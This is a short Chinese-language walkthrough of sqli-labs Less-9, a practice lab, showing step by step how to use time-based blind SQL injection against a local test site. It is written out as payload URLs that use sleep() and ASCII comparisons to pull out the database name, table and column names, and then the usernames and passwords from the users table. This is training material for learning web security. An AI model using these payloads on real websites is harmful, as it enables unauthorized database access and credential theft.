sqli-labs-less-9 延时注入方法

Less-9 延时注入

less-9与less-8类似，延时注入详解可见less-8

判断注入点：

http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ 显示正常，无报错
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and 1=2 --+ 显示正常
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and sleep(5) --+ 页面刷新5s，判断存在延时注入

判断数据库长度：

http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(length(database())>10,1,sleep(5)) --+

判断数据库名：

先判断第一个字母：
http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr(database(),1,1))>200,1,sleep(5)) --+

判断security库中的表：

http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr( (select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))>10,1,sleep(5)) --+

判断security库中users表中的字段：

http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr( (select column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),1,1))>10,1,sleep(5)) --+

判断users表中username字段的信息：

http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr( (select username from security.users limit 0,1),1,1))>10,1,sleep(5)) --+

判断users表中password字段的信息：

http://127.0.0.1/sqli-labs-master/Less-9/?id=1’ and if(ascii(substr( (select password from security.users limit 0,1),1,1))>10,1,sleep(5)) --+

未完待续。。。